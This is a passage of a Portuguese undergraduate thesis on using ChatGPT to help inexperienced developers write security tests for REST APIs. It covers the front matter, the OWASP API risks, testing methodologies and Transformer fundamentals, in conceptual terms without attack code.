Universidade

=l® Estadual de Londrina

FELIPE DE ALMEIDA FUKAYA

DESENVOLVIMENTO DE TESTES DE SEGURANCA PARA
RESTFUL APPLICATION PROGRAMMING
INTERFACES AUXILIADO POR CHATBOTS

LONDRINA
2025



Ficha de identificagdo da obra elaborada pelo autor, através do Programa de Geracéo
Automatica do Sistema de Bibliotecas da UEL

Fukaya, Felipe.
DESENVOLVIMENTO DE TESTES DE SEGURANGCA PARA RESTFUL
APPLICATION PROGRAMMING INTERFACES  AUXILIADO POR
CHATBOTS / Felipe Fukaya. - Londrina, 2025.
58 1. :il.

Orientador: Bruno Zarpel&o.

Trabalho de Conclusédo de Curso (Graduacdo em Ciéncia da Computacao) -
Universidade Estadual de Londrina, Centro de Ciéncias Exatas, Graduagdo em
Ciéncia da Computacéo, 2025.

Inclui bibliografia.

1. Testes de Segurancga - TCC. 2. IA Generativa - TCC. 3. API REST - TCC. 4.
Large Language Models - TCC. |. Zarpeldo, Bruno. Il. Universidade Estadual de
Londrina. Centro de Ciéncias Exatas. Graduagdo em Ciéncia da Computacao. III.
Titulo.

CDU 519




FELIPE DE ALMEIDA FUKAYA

DESENVOLVIMENTO DE TESTES DE SEGURANCA PARA
RESTFUL APPLICATION PROGRAMMING
INTERFACES AUXILIADO POR CHATBOTS

Trabalho de Conclusao de Curso apresentado
ao curso de Bacharelado em Ciéncia da Com-
putacao da Universidade Estadual de Lon-
drina para obtencao do titulo de Bacharel em
Ciéncia da Computagao.

BANCA EXAMINADORA

Orientador: Prof. Dr. Bruno Bogaz
Zarpelao
Universidade Estadual de Londrina

Prof. Dr. Bruno Squizato Faical
Universidade Estadual de Londrina - UEL

Ms Blenda Oliveira Mazetto
Universiade Estadual de Londrina - UEL

Londrina, 24 de fevereiro de 2025.



AGRADECIMENTOS

Agradecgo a minha familia pelo amor e incentivo durante esta fase da minha vida,

que tem sido tao dificil.

Aos meus amigos, pelas memérias e companheirismo, sem eles, tudo teria muito
mais dificil.

Agradego também ao meu Professor Orientador Bruno Zarpelao, pela paciéncia,

sabedoria e dedicacao, que me ajudaram tanto durante a realizacao deste trabalho.



Muitas vezes, o maior desafio é
compreender o que realmente queremos
antes que seja tarde demais. O que nos

resta € sequir em frente.



FUKAYA, F. DE A.. Desenvolvimento de Testes de Seguranca para RESTful
Application Programming Interfaces auxiliado por ChatBots. 2025. 57f. Tra-

balho de Conclusao de Curso (Bacharelado em Ciéncia da Computacao) — Universidade
Estadual de Londrina, Londrina, 2025.

RESUMO

Os Modelos de Linguagem de Larga Escala (do inglés Large Language Models) tém ga-
nhado crescente destaque, impulsionados pelo surgimento de chatbots como ChatGPT.
Nos ultimos anos, estudos tém investigado a aplicagdo desses modelos de inteligéncia ar-
tificial em diversas areas da industria computacional. Diante disso, este trabalho procura
responder a seguinte pergunta: E possivel que um programador inexperiente na 4rea de
seguranca web, utilizando um chatbot baseado em LLM como o ChatGPT, gere testes de
seguranga eficazes para a sua aplicacao web? Para responder a esta pergunta, um roteiro
de agoes foi desenvolvido, a fim de padronizar a interacdo com a ferramenta e avaliar
nao s6 os testes de seguranca gerados, mas também o processo de desenvolvimento em
conjunto com o chatbot. No decorrer do trabalho, foi observado que, apesar do grande
repertério de conhecimento possuido pelo chatbot, hé indicios da qualidade do contetido
gerado ser dependente da quantidade de contexto providenciado pelo desenvolvedor, tor-
nando o trabalho de alguém inexperiente desafiador.

Palavras-chave: API WEB, API RESTful, Modelos de Linguagem de Larga Escala,
Deteccao de Vulnerabilidades, Testes de Seguranca, Testes de Penetracao
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ABSTRACT

Large Language Models (LLMs) have been increasing in popularity, driven by the emer-
gence of chatbots such as ChatGPT. In recent years, studies have explored the application
of these artificial intelligence models in various areas of the computing industry. In this
context, this study seeks to answer the following question: Is it possible for a programmer
with little experience in web security to generate effective security tests for their web ap-
plication using a chatbot based on an LLM, such as ChatGPT? To address this question,
a set of actions was developed to standardize the interaction with the tool and evaluate
not only the security tests generated but also the overall development process alongside
the chatbot. Throughout the study, it was observed that, despite the chatbot’s vast
knowledge base, the quality of the content generated appears to depend on the amount
of context provided by the developer, making the task more challenging for inexperienced
users.

Keywords: WEB API, RESTful APIs, Large Language Models, Vulnerability Detection,
Security Testing, Penetration Testing
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1 INTRODUCAO

A evolucao tecnoldgica e a popularizacao de arquiteturas baseadas em servigos tém
impulsionado a adogdo de RESTful APIs (REpresentational State Transfer Application
Programming Interface) como padrao de integragdo e comunicacdo em sistemas distri-
buidos. Pela flexibilidade e escalabilidade, as RESTful APIs tornaram-se muito valiosas
para aplicagoes modernas, compondo até 83% de todo o trafego web, desde plataformas
de redes sociais até servigos financeiros e dispositivos IoT (do inglés, Internet of Things)
13, 4]. No entanto, essa ampla adogao atrai muita atencao de agentes mal-intencionados,
que buscam explorar vulnerabilidades nas APIs para comprometer a integridade, confi-

dencialidade e disponibilidade dos dados e servigos.

Devido a este fato, as APIs devem ser resistentes a falhas e manter altos padroes
de seguranca para garantir a integridade dos servigos que fornecem. No entanto, devido
a volatilidade do ambiente cibernético e, em alguns casos, a escala dos servicos ofereci-
dos, essa tarefa pode ser complexa e demorada, muitas vezes incapaz de acompanhar a

velocidade com que os atacantes agem [5].

Recentemente, o avango dos Modelos de Linguagem de Larga Escala (LLMs, do
inglés Large Language Models), que sao modelos de aprendizado de maquina baseados em
redes neurais profundas, tem despertado interesse como uma abordagem promissora para
auxiliar desenvolvedores de software na resolugao de problemas em diversas dreas [6, 7].
Esses modelos sao baseados na arquitetura Transformer, um tipo de arquitetura que im-
plementa mecanismos de auto-atencao para processar e gerar linguagem natural de forma
contextualizada [8], e tém sido aplicados em diversas tarefas, incluindo o desenvolvimento
e a validagdo de APIs [7]. Nesse contexto, a aplicagdo dos LLMs pode aumentar a eficién-
cia e a abrangéncia dos testes, facilitando a identificacao de vulnerabilidades. No entanto,
nao podemos esquecer de considerar as limitagoes desses modelos, como alucinagoes, que
ocorrem quando o modelo gera informagoes incorretas ou inventadas, mesmo parecendo

confidveis e coerentes com o contexto. [9, 10, 11].

Diante desse cenario, este trabalho busca realizar um estudo de caso a respeito da
utilizacao de chatbots, como o ChatGPT, no processo de testes de seguranca de APIs. O
objetivo principal é realizar uma avaliacao qualitativa do quanto essa tecnologia é capaz de
melhorar a cobertura dos testes e, o quao confiavel ela é no processo de desenvolvimento e
responder a seguinte pergunta: 'E possivel que um programador inexperiente na area de
seguranca web, utilizando um chatbot baseado em LLM como o ChatGPT, gere testes de
seguranca eficazes para a sua aplicacao web?’. Para alcancar esse objetivo, serd proposta a
integracao de um chatbot no processo de desenvolvimento de testes de seguranca para duas

APIs propositalmente vulneraveis, VAmPI e crAPI, disponiveis publicamente para fins
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didaticos. Os resultados obtidos demonstraram que o chatbot é capaz de contribuir com a
geracao de testes de seguranca; contudo, o processo apresenta limitagoes e desafios praticos
relacionados principalmente a interpretacao de contexto, esquecimento e insuficiéncia de

informagoes.

Este trabalho esta organizado da seguinte forma: no capitulo 2, apresenta-se a
fundamentagao tedrica, onde sao discutidos os conceitos-chave relacionados a seguranca
de RESTful APIs e TAs generativas; o capitulo 3 define os materiais utilizados, incluindo
as APIs alvo do estudo, e detalha a metodologia adotada para a execucao dos testes;
no capitulo 4, sao expostos os resultados obtidos a partir dos experimentos realizados,
seguidos de uma andlise e discussao sobre as vulnerabilidades identificadas e a eficicia
dos chatbots como assistentes nos testes; por fim, o capitulo 5 apresenta as conclusoes do

trabalho, destacando as contribuigoes oferecidas.



2 FUNDAMENTACAO TEORICA

2.1 API

Uma API é uma interface que permite a comunicacdo entre diferentes sistemas,
possibilitando a troca de dados ou a execugao de funcionalidades especificas [12]. As APIs
desempenham um papel central na arquitetura de sistemas computacionais modernos,
servindo como intermediarias para a comunicacao entre diferentes aplicagoes e servicos.
Elas permitem a integracdo de funcionalidades de maneira padronizada e consistente,
abstraindo a complexidade de operacoes internas e fornecendo um conjunto de instrugoes
para que os desenvolvedores utilizem recursos pré-existentes de maneira eficiente. As
APIs oferecem uma forma estruturada de promover interoperabilidade, possibilitando que
sistemas heterogéneos troquem informagcoes e executem comandos com maior agilidade e
menor custo de desenvolvimento [13]. Essa capacidade de conectar diferentes componentes
tecnoldgicos tem contribuido para o avanco de solugoes inovadoras em diversas areas,

desde comércio eletronico até inteligéncia artificial.

Além disso, o uso de APIs impulsiona a colaboracao entre organizacoes e desen-
volvedores ao facilitar a criagdo de ecossistemas tecnoldgicos baseados na reutilizacao de
recursos. APIs tém possibilitado novos modelos de negécio, como o da economia de A Pls,
no qual empresas monetizam o acesso as suas interfaces e expandem a oferta de servicos
digitais [14] . No entanto, a crescente adogao de A Pls também traz desafios significativos;
problemas como autenticacao inadequada, controles de acesso frageis e vulnerabilidades
em sua implementacao podem comprometer a integridade, confidencialidade e disponibi-
lidade dos dados gerenciados [15]. Portanto, é recomendével que todo o ciclo de vida das
APIs, desde as etapas iniciais de desenvolvimento até a manutencao, seja realizado com

cautela e boas praticas, sempre levando em conta aspectos de ciberseguranca.

Do ponto de vista técnico, uma API é um conjunto de defini¢bes, protocolos e
ferramentas que especificam como componentes de software devem interagir. Ela atua
como uma espécie de contrato entre o consumidor e o provedor de servigos, definindo os
recursos disponiveis, os formatos de dados utilizados e o comportamento esperado. No
contexto das aplicagoes web, APIs geralmente operam sobre o protocolo HTTP (Hyper-
text Transfer Protocol), utilizando estruturas padronizadas como JSON para troca de

informagoes entre cliente e servidor [16].
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2.2 RESTful API

A REST (Representational State Transfer), proposta por Roy Fielding em sua
tese seminal [16], é um estilo arquitetural para sistemas distribuidos que estrutura a
comunicagao entre cliente e servidor seguindo os principios da prépria web. Embora
teoricamente independente de protocolos, a REST é quase sempre implementada sobre
o HTTP, cujos métodos (GET, POST, etc.) e filosofia de operagao (stateless, recursos
identificdveis por URLs) inspiraram diretamente as restrigoes da REST. Uma API é

considerada RESTful’ quando adere estritamente aos seguintes principios:

« Interface Uniforme (Uniform Interface): A restrigdo central da REST, com-

posta por quatro elementos:

— Identificacao de recursos: Na REST, um recurso representa qualquer enti-
dade significativa que possa ser manipulada ou consultada no sistema, como
um usuario, produto, documento ou transagao. Eles devem ser identificados

por um URI (ex.: /usuarios/123).

— Manipulagao por representagoes: Os recursos sao transmitidos em forma-
tos padronizados (ex.: JSON, XML) e modificados via métodos HTTP padro-
nizados (GET, POST, etc.).

— Mensagens autodescritivas: Cada requisi¢do/resposta inclui metadados

claros (ex.: header Content-Type: application/json).

— Hipermidia como motor do estado da aplicagio (HATEOAS): Respos-
tas incluem links para agoes subsequentes (ex.: apds buscar um usudrio, links

para edité-lo ou exclui-lo).

« Auséncia de Estado (Stateless): Cada requisicao deve conter todas as informa-
¢oOes necessarias para que o servidor a processe. O servidor nao armazena contexto
entre requisi¢oes (ex.: sessoes), potencializando a escalabilidade e a tolerdncia a
falhas.

« Sistema em Camadas (Layered System): Intermedidrios (ex.: proxies, ga-
teways, CDNs) podem processar requisi¢oes/respostas sem que o cliente ou o servi-
dor conhecam sua existéncia. Isso permite funcionalidades como cache distribuido,

balanceamento de carga e seguranca em camadas.

« Capacidade de Armazenamento (Cacheable): Respostas devem ser explicita-
mente marcadas como cacheaveis (ex.: via header Cache-Control: max-age=3600),
permitindo que clientes ou intermedidrios armazenem cépias locais para reduzir la-

téncia.
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« Cébdigo sob Demanda (Code on Demand): Restri¢do opcional onde o servidor
envia cddigo executdvel (ex.: JavaScript) ao cliente para estender funcionalidades.

Pouco utilizado em A PIs modernas devido a riscos de segurancga.

As RESTful APIs tém o HTTP como protocolo natural, devido a sua compati-
bilidade intrinseca com as restri¢oes definidas por Fielding [16]. Em sua tese, Fielding
enfatiza que a REST foi projetada para refletir a arquitetura da web, e o HT'TP, como

protocolo central da web, encapsula diretamente os principios REST:

o GET: Recupera uma representacdo de um recurso (ex.: GET /usuarios retorna

lista de usudrios).
« POST: Cria um novo recurso (ex.: POST /usuarios com dados no corpo).

o PUT: Substitui completamente um recurso existente (ex.: PUT /usuarios/123

atualiza o usuério 123).

« DELETE: Remove um recurso (ex.: DELETE /usuarios/123).

2.3 Riscos de Seguranca das APIs

As APIs, apesar de sua utilidade, introduzem preocupagcoes relevantes em termos
de seguranca. A exposicao publica dessas interfaces pode comprometer dados sensiveis e
afetar a estabilidade dos sistemas. A edi¢ao de 2023 do OWASP API Security [15] destaca
as 10 principais vulnerabilidades que devem ser analisadas com cuidado ao implementar

uma API; sao elas:

1. Autorizacao a Nivel de Objeto Quebrada: Acontece quando uma API expoe
identificadores de objetos sem verificar adequadamente se o usuario tem a permis-
sao de acessa-lo. Isso permite que usuarios acessem ou manipulem objetos inde-
vidamente, explorando endpoints que nao validam corretamente se o usuario tem

permissao para interagir com o recurso solicitado.

2. Autenticacao Quebrada: Um mecanismo de autenticagao pode ser implementado
com uma falha, possibilitando que atacantes explorem essa vulnerabilidade para

assumir a identidade de outros usuarios.

3. Autorizacao a Nivel de Propriedade de Objeto Quebrada: Ocorre quando
uma API nao valida corretamente as permissdes do usudrio para acessar propri-
edades especificas de um objeto. Isso resulta na exposicao de dados sensiveis ou
restritos a usuarios que nao deveriam ter acesso a essas informagdes, permitindo

vazamentos ou manipulagao indevida.



17

Consumo de Recursos Irrestrito: A falta de restricao para o consumo de recur-
sos do sistema (poder de processamento, armazenamento, memoria) abre a possibi-
lidade de ataques de negacao de servico. Algumas A Pls podem oferecer recursos por
solicitagoes feitas a outras A Pls, normalmente com um custo monetério atribuido a

cada solicitagdo, o que possibilita que ataques gerem grandes despesas nesses casos.

Autorizacao a Nivel de Funcao Quebrada: Acontece quando a API nao valida
adequadamente as permissoes do usuario com base em sua func¢do ou perfil. Isso
permite que usudrios acessem funcionalidades ou endpoints restritos, que deveriam
estar disponiveis apenas para fungoes especificas. Um exemplo disto seria um usué-
rio comum de um site de compras ser capaz de excluir listagens de produtos do site,

um recurso que deveria ser disponivel apenas para perfis de funcionarios do site.

Acesso Irrestrito a Fluxos de Negdcio Sensiveis: Refere-se a exposicao de
fluxos criticos de negbcio através de APIs sem a devida protecao contra abusos,
especialmente aqueles realizados de maneira automatizada. Um exemplo classico de
Acesso Irrestrito a Fluxos de Negocio Sensiveis é uma A PI de um banco que permite
a transferéncia de fundos entre contas sem implementar controles adequados, como
limites de valor, verificacdo de autenticacdo em duas etapas ou monitoramento de
atividades suspeitas. Um atacante poderia explorar essa falha para realizar trans-
feréncias automatizadas em massa, drenando fundos de contas vulnerdveis. Além
disso, se a API nao limitar a frequéncia de requisi¢oes, um script malicioso poderia
realizar inimeras transferéncias pequenas em um curto periodo, causando grandes

perdas financeiras sem ser detectado imediatamente.

Falsificacdo de Requisi¢des no Servidor (SSRF): O SSRF (do inglés, Server
Side Request Forgery), acontece quando a API permite que o atacante fornega uma
URI maliciosa, que a aplicagdo utiliza para buscar recursos remotos sem valida-
¢ao adequada. Isso pode ser explorado para forcar a aplicacao a enviar requisi¢oes
inesperadas para destinos como servidores internos, expondo dados sensiveis e pos-

sibilitando ataques subsequentes a outros servigos conectados.

Configuracoes Inadequadas de Seguranca: A mé configuracao de seguranca da
API pode expo-la a ataques. Exemplos como habilitacdo de portas desnecessarias,
configuracgao incorreta de cabecalhos HT'TP e manutencao de permissoes excessivas

em servigos estao entre os exemplos de ma configuracao.

Ma Gestao de Inventario: A ampla quantidade de endpoints em APlIs, principal-
mente em ambientes com varias versoes ou interfaces expostas publicamente, torna
a gestao de inventario algo necessario. Esse inventario consiste em um mapeamento
organizado de todos os hosts, versoes, endpoints e documentacao, permitindo visibi-

lidade sobre o que esta exposto e facilitando o controle. Quando a documentacao e
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os inventarios nao estao atualizados, versoes desatualizadas ou endpoints indevidos

podem continuar acessiveis, o que representa riscos significativos para a seguranca.

10. Consumo Inseguro de APIs: A confianga excessiva em dados vindos de APIs
de terceiros pode levar desenvolvedores a adotarem padroes de seguranca mais fra-
cos em relacao a esses dados. Isso cria uma superficie de ataque em que invasores
comprometem servicos de terceiros integrados para atacar a API principal indire-

tamente.

2.4 Testes de Seguranca de API

Existem diversas metodologias e tipos de testes especificos para avaliar a robustez
de APIs RESTful contra vulnerabilidades. Ao desenvolver os testes, podem ser utilizadas

trés metodologias [17], conforme apresentado nas subsegdes a seguir.

2.4.1 Black-Box Testing/Teste de Caixa Preta

O Teste de Caixa Preta ¢ um método no qual os testadores avaliam a funcionalidade
do software ou API sem ter acesso ao codigo-fonte ou a implementacao interna, como
podemos ver na Figura 1. O foco esta nos inputs (entradas) e outputs (saidas) esperados,
simulando o comportamento do usuario final ou de um atacante externo. Nesse tipo de
teste, o testador ndo possui conhecimento ou visibilidade sobre como o sistema ou API é
implementado, baseando-se exclusivamente em especificagoes e requisitos documentados
para validar se o software atende aos objetivos. Esse método é amplamente utilizado para
verificar a conformidade com requisitos funcionais e nao funcionais, como desempenho e

seguranca [18, 19].

Entre as principais vantagens, o Teste de Caixa Preta simula cendrios reais do
usuario, permitindo a identificagdo de problemas que poderiam ser explorados em ambi-
entes de producao. Além disso, é util para validar a seguranca contra ataques externos, ja
que a perspectiva do teste é semelhante a de um possivel invasor. Por ser focado apenas
nos resultados esperados, esse método reduz o viés do testador em relagao a légica interna
do sistema. Por outro lado, suas desvantagens incluem a incapacidade de cobrir aspectos
internos, como qualidade do cédigo ou eficiéncia de algoritmos, além de ser menos efici-
ente na deteccao de bugs complexos enraizados na logica do cédigo. A eficiacia do teste
depende também de uma documentacgao clara e abrangente. Um exemplo tipico de uso
¢é o teste de endpoints de uma API, verificando se as respostas para chamadas validas e

invalidas estdo em conformidade com as especificacbes, sem analisar a implementagao.
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2.4.2 White-Box Testing/Teste de Caixa Branca

O Teste de Caixa Branca envolve uma analise detalhada do codigo-fonte do sistema
ou API, permitindo que o testador tenha acesso total a légica interna e a estrutura do
software, como ilustrado na Figura 1. Esse método permite avaliar diretamente a légica,
os fluxos de controle, as estruturas de dados e a cobertura do codigo, sendo frequentemente

aplicado com técnicas como analise de fluxo, cobertura de linhas, caminhos e branches

20, 1].

Esse tipo de teste oferece vantagens significativas, como a identificacao de falhas
especificas relacionadas a légica do sistema, incluindo condigdes nao tratadas e loops infi-
nitos. Ele também permite alcancar uma alta cobertura de cédigo, reduzindo as chances
de bugs nao detectados, além de possibilitar a integracao com ferramentas de analise es-
tatica e dindmica [21]. Contudo, o Teste de Caixa Branca exige conhecimento técnico
profundo do cédigo-fonte, o que limita sua aplicabilidade a testadores com habilidades
especializadas. Além disso, pode consumir mais tempo e recursos, especialmente em sis-
temas grandes e complexos, e nem sempre reflete o comportamento do sistema no uso
real. Um exemplo pratico é a verificacdo de condi¢bes em uma funcao especifica, avali-
ando se todas as situagoes possiveis sdo cobertas ou se um algoritmo esta corretamente

implementado, como no tratamento de uma funcao de autenticacao do sistema.

2.4.3 Gray-Box Testing/Teste de Caixa Cinza

O Teste de Caixa Cinza combina aspectos dos dois métodos mencionados ante-
riormente, permitindo que o testador tenha acesso limitado as informacoes internas do
sistema, como partes do codigo ou légica, equilibrando uma visao externa e interna. Ele

é particularmente util para validar integragoes, fluxos de dados ou interfaces.

Por combinar os beneficios de ambos os métodos, o Teste de Caixa Cinza possibilita
analises mais eficientes e eficazes, permitindo que o testador se concentre em areas criticas
sem perder a perspectiva de um uso externo. Esse método é especialmente aplicavel a

cenarios complexos, como APIs que integram multiplas camadas ou microsservicos.

Microsservigos sao uma abordagem arquitetonica na qual uma aplicagao é dividida
em servicos independentes e especializados, cada um responsavel por uma funcionalidade
especifica, como setores de uma empresa. Esses servigos operam em processos separados,
comunicando-se via APIs leves (como HTTP/REST) [22]. Diferentemente de sistemas
monoliticos, os microsservigos promovem descentralizacao e flexibilidade, mas introduzem
complexidade na coordenagao entre componentes, especialmente em cendrios de integracao

e testes.

O Teste de Caixa Cinza exige um equilibrio cuidadoso entre o conhecimento in-

terno e externo, o que pode ser desafiador. Outra limitacao é que ele pode ser menos
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sistematico do que os métodos puros, gerando lacunas nos testes. Além disso, pode ser
dificil coordenar equipes com diferentes niveis de acesso ao codigo. Um exemplo comum
de aplicacao é o teste de uma API que envolve logica de negdcio em um microsservigo,
utilizando a documentagao interna para identificar areas criticas, mas realizando testes

de caixa-preta nos principais endpoints para simular interacoes externas.

Black

Box

N —

White
Box

EXl— e 0

v
O

Figura 1 — Exemplo da visibilidade dos testes de caixa branca e caixa preta. Fonte [1]

2.4.4 Outras metodologias de teste

Adicionalmente as metodologias mencionadas anteriormente, diversos tipos espe-

cificos de teste de seguranca podem ser aplicados para avaliar a robustez das APls:

o Teste de Autenticagcdo e Autorizacao: Este tipo de teste avalia a implemen-
tacdo dos mecanismos de autenticagdo e autorizagao, como o protocolo OAuth 2.0.
Ele garante que apenas usudrios ou sistemas autorizados possam acessar recursos
protegidos, protegendo credenciais contra interceptacao e ataques. Por exemplo, au-
tenticagdo de usuario final e autorizagao baseada em escopos de acesso sao aspectos

criticos validados nesse teste [23].

o Teste de Validagcao de Entrada: Esse teste garante que os dados enviados a

API sejam validados corretamente para prevenir ataques como injecdo de SQL e
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cross-site scripting (XSS). Ferramentas de andlise estdtica e 16gica de verificagao

sao usadas para identificar falhas de validagao [21].

o Teste de Manipulacao de Parametros: Verifica se é possivel alterar parametros
de entrada para obter acesso nao autorizado ou modificar dados. Parametros sen-

siveis, como IDs ou tokens, devem ser protegidos contra exposicao e manipulagao
24].

o Teste de Gerenciamento de Sessoes: Avalia como a API gerencia sessoes de
usuarios, verificando vulnerabilidades como sequestro de sessdo ou tempos inade-
quados de expiracao. Este teste é critico para sistemas que requerem autenticagao

baseada em sessao ou tokens [25].

« Teste de Limites (Boundary Testing): Examina como a API reage a entradas
extremas, como numeros muito grandes ou cadeias de caracteres longas. Este teste
previne vulnerabilidades como estouro de inteiros ou erros de alocacao de memoria,

que podem causar falhas no sistema [26].

» Teste de Invasao (Penetration Testing): Simula ataques reais para identificar
falhas de seguranga exploraveis. Testes manuais e automatizados sdo combinados

para cobrir cenarios amplos de ataque, desde injecoes até ataques de negacao de

servico (DoS) [18].

« Varredura de Vulnerabilidades ( Vulnerability Scanning): Utiliza ferramen-
tas automatizadas para identificar falhas conhecidas na API, como bibliotecas desa-
tualizadas ou configuragoes incorretas. Os resultados ajudam a priorizar corregdes

com base em gravidade [15].

« Teste de Protocolo: Avalia como a API lida com métodos HTTP (GET, POST,
PUT, DELETE) e c6digos de status. Visa garantir a conformidade com os padrdes
HTTP e a gestdao adequada de respostas [21].

« Teste de Fuzzing (Fuzz Testing): Envia entradas aleatérias, invalidas ou ines-
peradas para a API avaliando como o sistema responde. Este teste é eficaz para

identificar falhas que possam causar travamentos ou excegoes nao tratadas [18].

2.4.5 Critérios de eficicia de testes

A qualidade dos testes de software é determinada por caracteristicas que impactam
sua capacidade de identificar defeitos, adaptar-se a mudancas e integrar-se ao processo de

desenvolvimento.[27, 28]. Sao caracteristicas de testes eficazes:

o Cobertura adequada: Testes devem exercitar diferentes cenarios e requisitos do

sistema, garantindo que funcionalidades criticas e casos de uso sejam verificados [27].
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A cobertura de codigo e requisitos é um indicador relevante, desde que alinhada aos

riscos do projeto.

« Manutenabilidade e legibilidade: Casos de teste claros e modularizados fa-
cilitam atualizagoes conforme o sistema evolui. Testes com alta coesao e baixo

acoplamento & implementagao reduzem custos de manutengao [28].

o Determinismo e confiabilidade: Testes devem produzir resultados consisten-
tes sob as mesmas condigoes. Falhas ndo deterministicas (“flaky tests”) minam a

confianca no processo [27].

o Automacao e desempenho: A automacao eficiente, com execucgao rapida e in-
tegragdo continua, permite que o retorno dos testes seja agil [27]. Testes lentos

tendem a ser negligenciados.

« Relevancia para o usuario: Testes devem refletir comportamentos reais do sis-
tema, evitando verificagOes excessivamente técnicas ou desalinhadas das necessida-

des do usudrio final [28].
Sdo caracteristicas de testes ineficazes:

« Baixa cobertura funcional: Focar em aspectos irrelevantes ou ignorar cenarios

criticos leva a falsas garantias de qualidade [27].

o Complexidade excessiva: Testes dificeis de compreender ou modificar aumentam

a carga cognitiva e o risco de erros durante manutencgoes [28].

o Fragilidade: Acoplamento excessivo a detalhes de implementagao (e.g., interfaces

graficas ou estruturas internas) torna testes instéveis frente a mudangas triviais [28].

« Nao determinismo: Dependéncia de fatores externos nao controlados (e.g., hora-

rios do sistema ou concorréncia) gera resultados inconsistentes [27].

« Falta de evolucgao: Testes desatualizados, que nao refletem novas funcionalidades

ou requisitos, tornam-se obsoletos e intteis [28].

Em sintese, testes eficazes equilibram cobertura, clareza e adaptabilidade, enquanto testes

ruins frequentemente resultam de praticas inadequadas de projeto ou gestao.

2.5 LLMs

Os modelos de linguagem de larga escala sao sistemas baseados em aprendizado
de maquina treinados em corpos textuais massivos, capazes de compreender e gerar lin-

guagem humana de forma contextualizada. Diferentemente de modelos tradicionais de
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processamento de linguagem natural (PLN), os LLMs modernos utilizam a arquitetura
Transformer [8], que permite capturar relagoes contextuais de longo alcance em textos
de forma paralelizada e eficiente. Essa inovacao técnica, aliada a escalabilidade compu-
tacional, viabilizou modelos com centenas de bilhoes de pardmetros (ex.: GPT-3 [29])
e aplicagoes em tarefas complexas, como traducao automatica, sumarizagao e didlogo

contextualizado. A eficdcia dos LLMs deriva de dois pilares:

o Pré Treinamento em Escala: Modelos sdo expostos a trilhoes de tokens (ex.:
livros, artigos, paginas da web) para aprender padrdes linguisticos gerais, como

sintaxe, seméantica e conhecimento factual [30].

o Arquitetura Transformer: Seu mecanismo de autoatencao permite analisar todas
as palavras em uma sequéncia simultaneamente, identificando dependéncias contex-
tuais (ex.: referéncias pronominais ou relagoes causa-efeito) que modelos sequenciais

tradicionais ndo conseguiam capturar eficientemente [8].

2.5.1 Arquitetura Transformer: Fundamentos e Evolucao

O modelo original da arquitetura Transformer proposto é composto por duas pilhas
de camadas: um FEncoder e um Decoder, empregados inicialmente em tarefas de traducao
automatica. Essa estrutura foi posteriormente adaptada para miltiplos usos em compre-
ensao, geragao e transformagao de texto, mantendo um nticleo conceitual comum. Esse
nicleo baseia-se em trés componentes principais: o mecanismo de atencao, as camadas

de projecao feed-forward e a codificagdo posicional.

O mecanismo de ateng¢ao (mais especificamente, autoatengao) permite que cada
elemento da entrada interaja com todos os outros por meio de vetores @) (Query), K (Key)
e V (Value), projetados a partir dos embeddings dos tokens. Esses vetores representam
diferentes projecoes lineares da mesma entrada: o vetor Query atua como uma consulta,
enquanto os vetores Key e Value representam, respectivamente, os indices e os contetdos
associados de todos os elementos da sequéncia. A operacao de atencao escalada é definida

por:

Atencao(Q, K, V) = softmax <QKT> V
vy
Nessa equacdo, o produto QKT mede a compatibilidade entre cada par de to-
kens, e a fungao softmax transforma esses valores em uma distribuicao de probabilidade,
atribuindo pesos que indicam a importancia relativa de cada token no contexto. O fa-
tor de escala /dj, evita valores extremos que poderiam prejudicar o treinamento. Com
o mecanismo multi-head, multiplas atengoes sao realizadas em paralelo, permitindo que

diferentes padroes contextuais sejam capturados simultaneamente [8].
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Antes desse processamento, os tokens sdo convertidos em vetores numéricos conti-
nuos, chamados embeddings, que capturam propriedades semanticas das palavras. Pala-
vras com significados semelhantes sao mapeadas para regides préximas no espago vetorial,

o que permite ao modelo reconhecer relages entre as palavras [31].

Como o Transformer nao processa a sequéncia de forma iterativa, ele nao possui
uma nocao intrinseca de ordem. Para suprir isso, sao utilizadas codificagoes posicio-
nais, somadas aos embeddings de entrada. A proposta original emprega func¢oes senoidais

e cossenoidais de diferentes frequéncias:

PE(pos,2i) = sin (1050052i/d> » PE(pos,2i11) = cos <10§0052i/d>
Essas fungoes inserem informacoes sobre a posicao dos tokens na sequéncia, per-
mitindo que o modelo reconheca padroes sequenciais e distancias relativas. Modelos mais
recentes, porém, frequentemente substituem essa abordagem por codifica¢oes aprendidas,

relativas ou rotacionais, com melhor desempenho em cendrios especificos [32].

A implementacao proposta por Vaswani et al. segue uma arquitetura Encoder-
Decoder. O Encoder possui seis camadas idénticas, cada uma composta por uma sub-
camada de autoatencao e uma rede feed-forward, interligadas por conexoes residuais e
normalizacdo de camada. O Decoder também contém seis camadas, com trés subcama-
das: uma de autoatencdo mascarada (que impede que o modelo acesse tokens futuros),
uma atencao cruzada sobre a saida do encoder e uma feed-forward. Essa estrutura garante
que a predicao do token i s6 dependa de informagoes anteriores na sequéncia, caracteristica

essencial para tarefas de geracdo autoregressiva [8].

Com o tempo também surgiram variacoes da arquitetura Transformer original-

mente introduzida, segue dois exemplos de modelos baseados em arquiteturas derivadas:

o Encoder-only (ex.: BERT [31]): usa apenas a pilha de encoders e é voltado para
tarefas de compreensao textual, como classificacao, analise de sentimentos e resposta
a perguntas. Utiliza pré-treinamento com masked language modeling, onde tokens

sao ocultados e o modelo deve inferi-los.

» Decoder-only (ex.: GPT [29, 30]): mantém apenas a pilha de decoders com aten-
¢do mascarada, sendo especializado em tarefas de geragdao, como completamento de

texto e dialogo.

2.5.2 IA Generativa

As TAs generativas, definidas como sistemas capazes de criar conteudos originais
em multiplas modalidades (texto, c6digo, imagens), representam uma evolugao dos LLMs

ao incorporar mecanismos estocasticos e controle de contexto para preservar coeréncia
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semantica durante a geracao [32]. Diferentemente de modelos puramente discriminativos,
que analisam padroes em dados existentes, esses sistemas sintetizam novos artefatos man-
tendo alinhamento com restrigoes de estilo e dominio especifico. Sdo caracteristicas-chave

das TA generativas:

o Controle de saida: os mecanismos de atencao da arquitetura Transformer ajudam
a priorizar conteidos gerados [8]. Além disso, técnicas como temperature scaling
— que ajusta a dispersao da distribuicdo de probabilidade dos préximos tokens,
tornando a saida mais deterministica (com valores baixos) ou mais criativa (com
valores altos) — e top-p sampling — que seleciona tokens a partir de um subconjunto
cumulativo de alta probabilidade, limitando escolhas apenas aos mais provaveis até
atingir um limite de cobertura predefinido (como p = 0,9) — permitem controlar a
aleatoriedade na geracao, equilibrando criatividade e aderéncia a padroes estruturais
29].

